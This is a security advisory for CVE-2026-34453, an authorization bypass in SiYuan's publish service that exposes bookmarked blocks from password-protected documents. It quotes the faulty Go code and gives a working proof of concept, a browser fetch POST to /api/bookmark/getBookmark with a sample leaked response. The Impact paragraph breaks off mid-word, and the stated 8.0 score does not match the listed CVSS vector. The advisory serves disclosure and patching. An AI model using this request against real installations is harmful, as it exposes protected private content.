🛡️ CVE-2026-34453 — siyuan
Description
SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark
Summary
The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, /api/bookmark/getBookmark filters bookmark results by calling FilterBlocksByPublishAccess(nil, ...). Because the filter treats a nil context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as Protected. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.
Details
The issue is caused by an authorization bypass in the bookmark API path used by the publish service.
In kernel/api/bookmark.go, getBookmark checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes nil as the request context:
```go
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
tempBookmarks := &model.Bookmarks{}
for _, bookmark := range *bookmarks {
bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)
```
In kernel/model/publish_access.go, FilterBlocksByPublishAccess allows access when c == nil:
```go
if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&
(c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) {
ret = append(ret, block)
}
```
This bypasses the intended password enforcement performed by CheckPublishAuthCookie, which validates the publish-auth-<id> cookie for protected content.
The publish proxy authenticates anonymous publish visitors with a RoleReader token, and CheckAuth accepts RoleReader, so unauthenticated publish visitors can reach /api/bookmark/getBookmark and trigger the vulnerable code path.
I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a POST /api/bookmark/getBookmark request. The response returned a bookmark group containing the protected block in data[0].blocks, confirming the bypass.
PoC
1. Start SiYuan with the publish service enabled.
2. Create a new document, for example publish-bookmark-poc.
3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.
4. Open the block attributes and assign a bookmark label, for example leak-test.
5. In Doc Tree, enable Publish Access Control and set the document to Protected.
6. Set a password for that document, for example test123, and confirm the change.
7. Open the publish service in a fresh incognito/private browser session.
8. Verify that opening the protected document through the publish UI requires the password.
9. Without entering the password, open the browser developer console and run:
```js
fetch("/api/bookmark/getBookmark", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: "{}"
})
.then(r => r.json())
.then(x => console.log(JSON.stringify(x, null, 2)));
```
10. Observe that the response contains a bookmark entry such as:
```json
{
"code": 0,
"msg": "",
"data": [
{
"name": "leak-test",
"blocks": [
{
"box": "20260327012540-ppsxc5j",
"path": "/20260327012543-acu1mdn.sy",
"hPath": "/publish-bookmark-poc",
"id": "20260327012543-1y6djn1",
"rootID": "20260327012543-acu1mdn",
"parentID": "20260327012543-acu1mdn",
"name": "",
"alias": "",
"memo": "",
"tag": "",
"content": "<span data-type=\"code\">BOOKMARK_SECRET_123</span>",
"fcontent": "",
"markdown": "BOOKMARK_SECRET_123",
"folded": false,
"type": "NodeParagraph",
"subType": "",
"refText": "",
"refs": null,
"defID": "",
"defPath": "",
"ial": {
"bookmark": "leak-test",
"id": "20260327012543-1y6djn1",
"updated": "20260327013116"
},
"children": null,
"depth": 1,
"count": 0,
"refCount": 0,
"sort": 10,
"created": "",
"updated": "",
"riffCardID": "",
"riffCard": null
}
],
"type": "bookmark",
"depth": 0,
"count": 1
}
]
}
```
Actual result:
/api/bookmark/getBookmark returns bookmarked blocks from protected documents without requiring the publish password.
Impact
An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the Protected publish access level. The impact is limited to blocks that have been bo
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.
Weakness class
CVE-2026-34453 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.
Affected software
CVE-2026-34453 is recorded against 2 packages.
- github.com/siyuan-note/siyuan/kernel
- siyuan (fixed in 3.6.2)
Timeline and source
Published on 31 March 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | — | — |
| siyuan | — | 3.6.2 |
References
Similar Threats
- Medium CVE-2026-32704
- High CVE-2026-32110
- Medium CVE-2026-31807
- Medium CVE-2026-31809
- High CVE-2026-30926
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is siyuan part of your stack?
CVE-2026-34453 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.